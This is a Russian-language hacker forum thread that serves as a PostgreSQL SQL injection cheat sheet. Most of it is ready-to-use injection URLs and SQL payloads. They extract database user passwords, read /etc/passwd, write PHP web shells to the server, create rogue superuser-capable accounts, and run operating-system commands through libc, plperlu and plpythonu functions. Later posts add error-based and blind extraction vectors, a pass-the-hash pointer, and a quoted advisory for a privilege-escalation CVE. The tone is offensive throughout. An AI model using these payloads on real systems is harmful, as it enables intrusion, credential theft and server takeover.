Старый 03.07.2010, 00:58   #1
Ded MustD!e
Banned
 
Регистрация: 01.07.2010
Сообщений: 162
По умолчанию PostgreSQL SQL Injection

SQL-Injection в PostgreSQL

::Ошибки::

Итак, мы подставили в параметр кавычку, и что мы видим? Вот типичные ошибки, с которыми мы будем работать:

Код:
Warning: pg_query(): Query failed: ERROR: syntax error at or near "\" at character...
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: syntax error at or near "\" at character...
[Warning] pg_query(): Query failed: ERROR: unterminated quoted string at or near "'" at character...
Warning: PostgreSQL query failed: ERROR: parser: parse error at or near "\" in...
Наличие этих ошибок на 90% гарантирует нам возможность проведения инъекции.

::Комментарии и пробелы::

Пробельные символы можно использовать те же, что и в MySQL, а вот с комментариями дело обстоит несколько иначе, в PostgreSQL обрубать запрос комментарием "/*" не получится. Он ругнется на это ошибкой:
Код:
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: unterminated /* comment at or near "/*"
так как такой комментарий обязательно должен быть закрыт. В связи с этим будем использовать "--", который закомментирует после себя всё до конца строки.

::Вывод системной информации::

Аналогов команды user() из MySQL в PostgreSQL аж целых 4 штуки:

user
current_user
session_user
getpgusername()


Вывод версии: version()
Вывод базы данных: current_database()
Вывод IP сервера БД: inet_server_addr()
Вывод порта сервера БД: inet_server_port() (по дефолту 5432)

Выводим необходимую информацию, это удобно сделать одним запросом:

Код:
http://www.site.com/index.php?id=27+and+1=cast((SELECT+version()||chr(58)||current_user||chr(58)||current_database())+as+int)--
И получим например такой ответ сервера:

Код:
Warning: pg_query(): Query failed: ERROR: invalid input syntax for integer: 
"PostgreSQL 7.4.19 on i686-redhat-linux-gnu, compiled by GCC gcc (GCC) 3.4.6 20060404 (Red Hat 3.4.6-9):ed:sedbtac" in...
Здесь версия - это PostgreSQL 7.4.19 on i686-redhat-linux-gnu, compiled by GCC gcc (GCC) 3.4.6 20060404 (Red Hat 3.4.6-9)
Юзер - ed
БД - sedbtac

Тут стоит обратить внимание на сам запрос, PostgreSQL очень ревностно относится к типам данных, поэтому результат надо искусственно приводить к требуемому (в смысле к тому, который требуется нам=)) типу данных. Это можно делать функцией cast(выражение+as+тип), либо использовать специфическую конструкцию "выражение::тип", которая присутствует там по историческим мотивам). Например id=27+and+1=version()::int--

Две прямые черты "||" объединяют всё в одну строку, chr(58) - это разделитель ":".

Так как PostgreSQL поддерживает разделение запросов с помощью символа ";", то можно например вывести версию альтернативным способом:

id=27;select+version()::int--

либо

id=27;select+cast(version()+as+int)--

::Подбор количества колонок::

Колонки можно подбирать несколькими способами.

1.Используя конструкцию ORDER BY:

id=27+order+by+100--

В случае меньшего числа колонок возвратится ошибка:

Код:
Warning: pg_query(): Query failed: ERROR: ORDER BY position 100 is not in select list in...
2.ORDER BY за один запрос (способ, который предложил IceAngel):

id=27+order+by+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,...

Отнимаем от выведенного числа единицу и получаем количество колонок.


3.Можно подбирать сразу конструкцией UNION+SELECT+NULL:

id=27+union+select+null,null,null,...

пока не исчезнет ошибка.


4.Либо подбирать подставляя цифры как и в MySQL:

id=27+union+select+1,2,3,...

При этом, если число колонок неправильное, то возвратится ошибка:

Код:
Warning: pg_query(): Query failed: ERROR: each UNION query must have the same number of columns in...
А если число колонок верное, так как типизация тут строгая, то возвратиться ошибка о неправильном приведении типов, например:

Код:
Warning: pg_query(): Query failed: ERROR: UNION types date and integer cannot be matched in...
Из всех перечисленных выше методов рациональнее, конечно, использовать конструкцию ORDER BY.

::Системные таблицы::

Подбирать колонки мы научились, осталось узнать как, и собственно, откуда выводить.

Рассмотрим полезные системные таблицы в PostgreSQL:

1. pg_user


Поле****(Тип)****Описание
usename (name) - Имя пользователя
usesysid (int4) - Id
usecreatedb (bool) - Может ли пользователь создавать БД
usesuper (bool) - Имеет ли пользователь привилегии superuser
usecatupd (bool) - Может ли пользователь вносить изменения в системные таблицы
passwd (text) - Пароль (здесь содержатся звездочки "****", а не пароль, по сути такая же аналогия как и в /etc/passwd и /etc/shadow)
valuntil (abstime) - Время истечения аккаунта (имеется ввиду, сколько живет сессия юзера при использовании аутентификации паролем)
useconfig (text[]) - Дефолтная сессия для переменных конфигурации во время работы

Как мы видим, информация из этой таблицы носит скорее информативный характер, так как пароль содержится в другой таблице:

2. pg_shadow

Поле****(Тип)****Описание
usename (name) - Имя пользователя
usesysid (int4) - Id
usecreatedb (bool) - Может ли пользователь создавать БД
usesuper (bool) - Имеет ли пользователь привилегии superuser
usecatupd (bool) - Может ли пользователь вносить изменения в системные таблицы
passwd (text) - Пароль
valuntil (abstime) - Время истечения пароля
useconfig (text[]) - Дефолтная сессия для переменных конфигурации во время работы

Именно из pg_shadow мы можем выводить пароли пользователей БД (аналог mysql.user), но чаще всего доступа к этой таблице нету.

3. pg_database

В этой таблице, нас интересует только одно поле - datname, в котором хранятся имена доступных баз данных.

4. information_schema.tables и information_schema.columns

Тут всё стандартно, те же имена полей (table_name, column_name, table_schema...).

::Вывод информации::

Вот и добрались мы наконец-то до вывода, касаемо конструкций тут всё схоже с MySQL и MSSQL, например, чтобы вывести имя таблицы из information_schema.tables нам потребуется сделать, к примеру, такой запрос:

id=27+union+select+1,table_name,3,...+from+informa tion_schema.tables--

А вот для того, чтобы перебирать значения полей, просто limit+1,1 тут не прокатит, необходимо использовать следующую конструкцию:

id=27+union+select+1,table_name,3,...+from+informa tion_schema.tables+limit+1+offset+1--

При этом перебираем мы тут параметром offset.

Если требуется вывести имена колонок конкретной таблицы, делаем стандартный запрос:

id=27+union+select+1,column_name,3,...+from+inform ation_schema.columns+where+table_name='имя_та блицы'

Но так как кавычки, скорее всего, фильтруются, то у нас есть 2 выхода, во-первых можно перевести имя таблицы в chr(), например если мы хотим получить название колонок таблицы pg_user, то запрос будет:

...+where+table_name=CHR(112)||CHR(103)||CHR(95)|| CHR(117)||CHR(115)||CHR(101)||CHR(114)

Но в PostgreSQL, начиная с версии 8 появилась очень удобная фича (моя мечта - такая же фишка в MySQL), вместо кавычек можно использовать два подряд идущих знака доллара, то есть сработает такая конструкция:

...+where+table_name=$$имя_таблицы$$

Функции concat() в PostgreSQL нет, конкатенация строк осуществляется с помощью двух прямых палок "||", например

id=27+union+select+usename||chr(58)||passwd,null,n ull,null,null,null+from+pg_user--

Доступна конструкция LIKE:

id=27+union+select+table_name,null,null,null,null, null+from+information_schema.columns+where+column_ name+LIKE+$$%password%$$--

При этом %password% должно быть заключено в кавычки.

Конструкция IF используется только во внутренних функциях, и бесполезна для проведения инъекций, вместо неё можно использовать оператор CASE:

Код:
CASE WHEN condition THEN result
     [WHEN ...]
     [ELSE result]
END
Например:

id=27+and+1=cast((SELECT+CASE+WHEN+(1=1)+THEN+$$A$ $+ELSE+$$B$$+END)+as+int)--

Такое выражение в результате вернет нам "А".

Можно использовать альтернативный вывод:

id=27;select+cast(usename||chr(58)||passwd+as+int) +from+pg_user--

Но в ответе мы увидим только первую запись, а перебирать их через +limit+1+offset не получится.

::Выполнение команд::

Ну и на последок самое интересное, выполнение команд к БД, для этого нужно иметь привилегии usesuper.

С помощью выполнения команд можно делать всё что угодно, от чтения файлов на сервере, до заливки шелла, были бы права)
В PostgreSQL, также как и в MSSQL, можно разделять запросы с помощью точки с запятой - ";".

Читаем /etc/passwd:

id=27;CREATE TABLE aaaa(b text); /*создаем таблицу "аааа" с колонкой "b" типа text*/
id=27;COPY аааа FROM '/etc/passwd'; /*копируем в таблицу "аааа" содержимое /etc/passwd*/
id=27+union+select+b+from+aaaa+limit+1+offset+0-- /*читаем содержимое таблицы*/
id=27;DROP TABLE aaaa; /*чистим за собой, удаляем таблицу "аааа"*/

Заливаем шелл:

id=27;CREATE TABLE аааа (b text); /*создаем таблицу "аааа" с колонкой "b" типа text*/
id=27;INSERT INTO аааа(b) VALUES ('<? pasthru($_GET[cmd]); ?>'); /*вставляем в поле "b" таблицы "аааа" ядовитый код*/
id=27;COPY аааа (b) TO '/tmp/shell.php'; /*копируем содержимое поля "b" в файл shell.php*/
id=27;DROP TABLE aaaa; /*чистим за собой, удаляем таблицу "аааа"*/

Создаём нового пользователя:

id=27;CREATE USER hacker PASSWORD 'mypass';

Даём юзеру права на создание новых БД и новых пользователей:

id=27;ALTER USER test1 CREATEUSER CREATEDB;

::Создание функций::

1.В PostgreSQL < 8.1 есть возможность добавить функцию из библиотеки:

Создаем таблицу stdout с колонками id,system_out.
Цитата:
CREATE TABLE stdout(id serial, system_out text)--
Создаем функцию system().
Цитата:
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C' STRICT--
Выполняем произвольную команду и записываем результат её выполнения в /tmp/test.
Цитата:
SELECT system('uname -a > /tmp/test')--
Копируем данные из /tmp/test в таблицу stdout.
Цитата:
COPY stdout(system_out) FROM '/tmp/test'--
Выводим данные на экран.
Цитата:
UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--
2.Чуть подругому через plperl:

Создаем язык, если он не был создан.
Цитата:
CREATE LANGUAGE plperlu
Создаем функцию spyder().
Цитата:
CREATE FUNCTION spyder(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",);' LANGUAGE plperlu;
Выполняем команду и выводим на экран.
Цитата:
SELECT+spyder('uname -a')::int--
3.И напоследок через plpython:

Создаем функцию spyder().
Цитата:
CREATE FUNCTION spyder(text) RETURNS text AS 'import os; return os.popen(args[0]).read()' LANGUAGE plpythonu;--
Наслаждаемся выполнением команд)
Цитата:
SELECT+spyder('uname -a')::int--
Ded MustD!e вне форума   Ответить с цитированием
Старый 03.07.2010, 01:15   #2
Spyder
 
Аватар для Spyder
 
Регистрация: 01.07.2010
Сообщений: 95
Репутация: 41
По умолчанию

Прощай лимит

Если у нас установлен процедурный язык plpgsql
Код:
select lanname from pg_language where lanname='plpgsql'
Можно не замарачиваться с лимитом и вывести содержимое таблицы одним запросом
Для этого создаем функцию

Код:
CREATE OR REPLACE FUNCTION getall (text,text,text,text,text) RETURNS text AS $func$
DECLARE 
		schema 		ALIAS FOR $1;
		table 			ALIAS FOR $2;
		column1 		ALIAS FOR $3;
		column2 		ALIAS FOR $4;
		column3		ALIAS FOR $5;
		count 			int;
		i 			int;
		temp			text;
		int_test 			text;
		input_refc 		refcursor;
BEGIN 
		int_test := $qr$Result : $qr$;
		OPEN input_refc FOR EXECUTE $qr$SELECT count($qr$ || quote_ident(column1) || $qr$) from $qr$ || quote_ident(schema) || $qr$.$qr$ || quote_ident(table);
		FETCH input_refc into count;
		CLOSE input_refc;
		count := count - 1;
		BEGIN 
				FOR i in 0..count LOOP 
						OPEN input_refc FOR EXECUTE $qr$SELECT $qr$ || quote_ident(column1) || $qr$||chr(58)||$qr$ || quote_ident(column2) || $qr$||chr(58)||$qr$ || quote_ident(column3) || $qr$||$sep$<BR>$sep$ FROM $qr$ || quote_ident(schema) || $qr$.$qr$ || quote_ident(table) || $qr$ LIMIT 1 OFFSET $qr$ || i;
						FETCH input_refc into temp;
						CLOSE input_refc;
						int_test := int_test || temp;
						END LOOP;
						RETURN int_test;
		END;
END;
$func$ LANGUAGE plpgsql;

Функция getall() получает 5 параметров
1 - имя базы
2 - имя таблицы
3,4,5,6 - имена колонок
Функция ориентирована на использование в конструкции Union, т.к разделителем выступает тег <br>
екземпл
id=-1 union select getall('information_schema','columns','column_name ','table_name','table_schema')
Spyder вне форума   Ответить с цитированием
Старый 09.02.2012, 12:53   #3
Corwin
 
Регистрация: 25.10.2011
Сообщений: 22
Репутация: 45
По умолчанию

В слепых инъекциях можно использовать get_byte() вместо комбинации ascii() и substr():
Код:
http://postgre/index.php?val=1 and get_byte((select version())::bytea,0)=80  // PostgreSQL 8.4.2
http://postgre/index.php?val=1 and get_byte((select table_name from information_schema.tables limit 1 offset 0)::bytea,0)=112  // pg_type
в некоторых случаях может быть полезна функция position(), аналог locate() в MySQL.
к примеру, получить позицию подстроки и посимвольно вытащить из конфига ip-адреса с которых разрешен удаленный доступ без пароля($$ как известно используется для обхода фильтрации кавычек):

Код:
http://postgre/index.php?val=1 and position($$%20%20%20%20%20trust$$ in (pg_read_file($$pg_hba.conf$$,0,10000)))=3516
...
http://postgre/index.php?val=1 and get_byte((pg_read_file($$pg_hba.conf$$,0,10000))::bytea,3498)=49  // 127.0.0.1/32

http://postgre/index.php?val=1 and strpos(pg_read_file($$pg_hba.conf$$,0,10000),$$%20%20%20%20%20trust$$)=3516

Последний раз редактировалось Corwin; 27.06.2012 в 10:25..
Corwin вне форума   Ответить с цитированием
Старый 10.02.2012, 12:07   #4
Corwin
 
Регистрация: 25.10.2011
Сообщений: 22
Репутация: 45
По умолчанию

В PostgreSQL нет group_concat(), способ группировки записей:
Код:
/index.php?val=1 and 1=2 union select array_to_string(array_agg(table_name::text),$$:$$) from information_schema.tables
Протаскиваем полезную нагрузку через ошибку, без использования cast(), union, разделителя(';') и приведения к типу('::'):
Код:
/index.php?val=1 order by(nextval((select table_name from information_schema.tables limit 1 offset 1)))
Вытаскиваем множество записей через ошибку:
Код:
/index.php?val=1 order by(pg_stat_file((select array_to_string(array_agg(table_name::text),$$:$$) from information_schema.tables)))
т.к. длина выводимой ошибки ограничена используем not in(). Получаем имена всех таблиц, кроме системных:

Код:
/index.php?val=1 order by(pg_stat_file((select array_to_string(array_agg(table_name::text),$$:$$) from information_schema.tables where table_name not in($$pg_type$$,$$user_mapping_options$$,$$user_mappings$$,$$triggered_update_columns$$,$$triggers$$,$$usage_privileges$$,$$view_column_usage$$,$$view_routine_usage$$,$$view_table_usage$$,$$views$$,$$data_type_privileges$$,$$element_types$$,$$_pg_foreign_data_wrappers$$,$$foreign_data_wrapper_options$$,$$foreign_data_wrappers$$,$$_pg_foreign_servers$$,$$foreign_server_options$$,$$pg_statistic$$,$$foreign_servers$$,$$_pg_user_mappings$$,$$sequences$$,$$sql_features$$,$$sql_implementation_info$$,$$sql_languages$$,$$pg_authid$$,$$sql_packages$$,$$sql_parts$$,$$pg_database$$,$$pg_roles$$,$$pg_shadow$$,$$sql_sizing$$,$$pg_group$$,$$pg_user$$,$$pg_rules$$,$$sql_sizing_profiles$$,$$pg_views$$,$$pg_tables$$,$$pg_indexes$$,$$table_constraints$$,$$pg_stats$$,$$table_privileges$$,$$pg_locks$$,$$tables$$,$$pg_cursors$$,$$constraint_table_usage$$,$$pg_prepared_xacts$$,$$domain_constraints$$,$$pg_prepared_statements$$,$$domain_udt_usage$$,$$pg_settings$$,$$domains$$,$$enabled_roles$$,$$pg_timezone_abbrevs$$,$$key_column_usage$$,$$pg_timezone_names$$,$$parameters$$,$$pg_stat_all_tables$$,$$referential_constraints$$,$$pg_stat_sys_tables$$,$$role_column_grants$$,$$pg_stat_user_tables$$,$$role_routine_grants$$,$$pg_statio_all_tables$$,$$role_table_grants$$,$$pg_statio_sys_tables$$,$$role_usage_grants$$,$$pg_statio_user_tables$$,$$pg_stat_all_indexes$$,$$pg_stat_sys_indexes$$,$$pg_statio_user_indexes$$,$$routine_privileges$$,$$pg_statio_all_sequences$$,$$column_udt_usage$$,$$pg_statio_sys_sequences$$,$$routines$$,$$pg_statio_user_sequences$$,$$schemata$$,$$pg_stat_activity$$,$$columns$$,$$pg_stat_database$$,$$pg_listener$$,$$pg_stat_user_functions$$,$$pg_description$$,$$pg_stat_bgwriter$$,$$constraint_column_usage$$,$$pg_user_mappings$$,$$pg_cast$$,$$pg_user_mapping$$,$$pg_enum$$,$$pg_namespace$$,$$pg_attribute$$,$$pg_proc$$,$$pg_class$$,$$pg_attrdef$$,$$pg_constraint$$,$$pg_inherits$$,$$pg_index$$,$$pg_operator$$,$$pg_opfamily$$,$$pg_opclass$$,$$pg_am$$,$$pg_amop$$,$$pg_amproc$$,$$pg_language$$,$$pg_largeobject$$,$$pg_aggregate$$,$$pg_rewrite$$,$$pg_trigger$$,$$column_privileges$$,$$pg_conversion$$,$$pg_depend$$,$$pg_tablespace$$,$$pg_pltemplate$$,$$pg_shdepend$$,$$pg_shdescription$$,$$pg_ts_config$$,$$pg_ts_config_map$$,$$pg_ts_dict$$,$$pg_ts_parser$$,$$pg_ts_template$$,$$pg_foreign_data_wrapper$$,$$pg_foreign_server$$,$$pg_auth_members$$,$$pg_stat_user_indexes$$,$$pg_statio_all_indexes$$,$$pg_statio_sys_indexes$$,$$information_schema_catalog_name$$,$$applicable_roles$$,$$administrable_role_authorizations$$,$$attributes$$,$$check_constraint_routine_usage$$,$$check_constraints$$,$$column_domain_usage$$))))
Другие варианты Error Based SQLi:
Код:
	order by(pg_xlogfile_name((select table_name from information_schema.tables limit 1 offset 1)))
	order by(current_setting((select table_name from information_schema.tables limit 1 offset 1)))
	order by(setval((select table_name from information_schema.tables limit 1 offset 1),1))
	order by(ts_parse((select table_name from information_schema.tables limit 1 offset 1),$$$$))
	order by(ts_stat((select table_name from information_schema.tables limit 1 offset 1)))
	order by(pg_ls_dir((select table_name from information_schema.tables limit 1 offset 1)))
	order by(ts_token_type((select table_name from information_schema.tables limit 1 offset 1)))
	order by(date_part((select table_name from information_schema.tables limit 1 offset 1),interval $$1$$))
	order by(date_trunc((select table_name from information_schema.tables limit 1 offset 1),timestamp $$1-1-1$$))
Просмотреть текущий запрос:
Код:
/index.php?val=1 and 1=2 union select current_query()
Альтернативные пробелы:
Код:
/**/, %09, %0a, %0c, %0d, --%0a, +
Запись в файл без использования '<', '>':
Код:
/index.php?val=1;copy (select xmlpi(name php, $$print `$_GET[p]`;$$)) to $$/tmp/cmd.php$$

Последний раз редактировалось Corwin; 27.06.2012 в 10:26..
Corwin вне форума   Ответить с цитированием
Старый 14.02.2012, 19:16   #5
Corwin
 
Регистрация: 25.10.2011
Сообщений: 22
Репутация: 45
По умолчанию

Шпаргалка по MySQL есть на форуме, решил сделать подобное для PostgreSQL(по возможности будет пополняться).
Небольшие дополнения:
Читаем файл с использованием временной таблицы:
?val=1;create temp table a(b text);copy a from $$/etc/passwd$$;copy(select b from a) to $$/www/pwd.txt$$

Функция array_agg() появилась в PostgreSQL с версии 8.4, для более ранних версий используем array():
?val=1 order by(array_to_string(array(select table_name::text from information_schema.tables),$$:$$)::int)

Все описанное далее также проделывается через функции указанные в предыдущем посте:
?val=1 order by(nextval((select table_name from information_schema.tables limit 1 offset 1)))

Инъекция в order by
Error:
?val=1;select array_to_string(array(select table_name::text from information_schema.tables where table_schema not in ($$information_schema$$,$$pg_catalog$$)),$$:$$)::i nt
?val=(select array_to_string(array(select table_name::text from information_schema.tables where table_schema not in ($$information_schema$$,$$pg_catalog$$)),$$:$$)::i nt)
Union:
Нет
Blind:
?val=case when (get_byte((select table_name from information_schema.tables limit 1 offset 1)::bytea,0)>0) then 1 else (select 1 union select 2) end
?val=1,case when (get_byte((select table_name from information_schema.tables limit 1 offset 1)::bytea,0)>0) then 1 else (select 1 union select 2) end

Инъекция в group by
Error:
?val=1;select array_to_string(array(select table_name::text from information_schema.tables where table_schema not in ($$information_schema$$,$$pg_catalog$$)),$$:$$)::i nt
?val=1 order by(array_to_string(array(select table_name::text from information_schema.tables where table_schema not in ($$information_schema$$,$$pg_catalog$$)),$$:$$)::i nt)
Union:
?val=1 union all select table_name from information_schema.tables where table_schema not in ($$information_schema$$,$$pg_catalog$$)
Blind:
?val=1,case when (get_byte((select table_name from information_schema.tables limit 1 offset 1)::bytea,0)>0) then 1 else (select 1 union select 2) end

Инъекция в limit offset
Error:
?val=1;select array_to_string(array(select table_name::text from information_schema.tables where table_schema not in ($$information_schema$$,$$pg_catalog$$)),$$:$$)::i nt
?val=(select array_to_string(array(select table_name::text from information_schema.tables where table_schema not in ($$information_schema$$,$$pg_catalog$$)),$$:$$)::i nt)
Union:
Нет
Blind:
?val=case when (get_byte((select table_name from information_schema.tables limit 1 offset 1)::bytea,0)>0) then 1 else (select 1 union select 2) end

Быстрый Blind SQLi(аналогично mysql find_in_set()):
?val=(select position((substr((select table_name from information_schema.tables limit 1 offset 1),1,1)) in ($$abcdefghijklmnopqrstuvwxyz_$$)))

Полностью слепая SQLi(к примеру в insert):
case when (ascii(substr((select table_name from information_schema.tables limit 1 offset 1),1,1))>0) then pg_sleep(5) else pg_sleep(0) end

Если с PostgreSQL используется ASP, то можно использовать символ процента для обхода фильтров:
?val=1 un%ion se%lec%t version()::int

Последний раз редактировалось Corwin; 27.06.2012 в 10:23..
Corwin вне форума   Ответить с цитированием
Старый 18.02.2015, 10:02   #6
SynQ
 
Регистрация: 11.07.2010
Сообщений: 952
Репутация: 352
По умолчанию

@dsrbr
Alternative error-based #sqli vectors in PostgreSQL

Код:
postgres=# select * from news;
id | news
----------------
1  | Test news
2  | Bla bla bla
(2 rows)

postgres=# select * from users;
 id | login | pass
----------------------
  1 | admin | P@ssw0rd
  2 | root  | Qwertyl
  3 | test  | testl23
(3 rows)

postgres=# select * from news where id=1 and (select box(login||chr(58)||pass) from users) is not null;
ERROR:	invalid	input	syntax	for type box: "admin:P@ssw0rd"
postgres=# select * from news where id=1 and (select circle(login||chr(58)||pass) from users) is not null;
ERROR:	invalid	input	syntax	for type circle: "admin:P@ssw0rd"
postgres=# select * from news where id=1 and (select line(login||chr(58)||pass) from users) is not null;
ERROR:	invalid	input	syntax	for type line: "admin:P@ssw0rd"
postgres=# select * from news where id=1 and (select lseg(login||chr(58)||pass) from users) is not null;
ERROR:	invalid	input	syntax	for type lseg: "admin:P@ssw0rd"
postgres=# select * from news where id=1 and (select path(login||chr(58)||pass) from users) is not null;
ERROR:	invalid	input	syntax	for type path: "admin:P@ssw0rd"
postgres=# select * from news where id=1 and (select point(login||chr(58)|ipass) from users) is not null;
ERROR:	invalid	input	syntax	for type point: "admin:P@ssw0rd"
postgres=# select * from news where id=1 and (select polygon(login||chr(58)|ipass) from users) is not null;
ERROR:	invalid	input	syntax	for type polygon: "admin:P@ssw0rd"
SynQ вне форума   Ответить с цитированием
Старый 06.03.2015, 10:26   #7
SynQ
 
Регистрация: 11.07.2010
Сообщений: 952
Репутация: 352
По умолчанию

pass-the-hash при логине в postgres (достаточно md5 хэша, который хранится в базе):
https://hashcat.net/forum/thread-4148-post-23634.html
SynQ вне форума   Ответить с цитированием
Старый 13.09.2016, 11:09   #8
SynQ
 
Регистрация: 11.07.2010
Сообщений: 952
Репутация: 352
По умолчанию

CVE-2016-5424 postgresql: privilege escalation via crafted database and role names:
[URL="https://bugzilla.redhat.com/show_bug.cgi?id=1364002"][/https://bugzilla.redhat.com/show_bug.cgi?id=1364002URL]

Цитата:
It was found that PostgreSQL client programs mishandle database and role names containing newlines, carriage returns, double quotes, or backslashes. By crafting such an object name, roles with the CREATEDB or CREATEROLE option could escalate their privileges to superuser when a superuser next executes maintenance with a vulnerable program. Vulnerable programs include pg_dumpall, pg_upgrade, vacuumdb, reindexdb, and clusterdb.
SynQ вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2018, Jelsoft Enterprises Ltd. Перевод: zCarot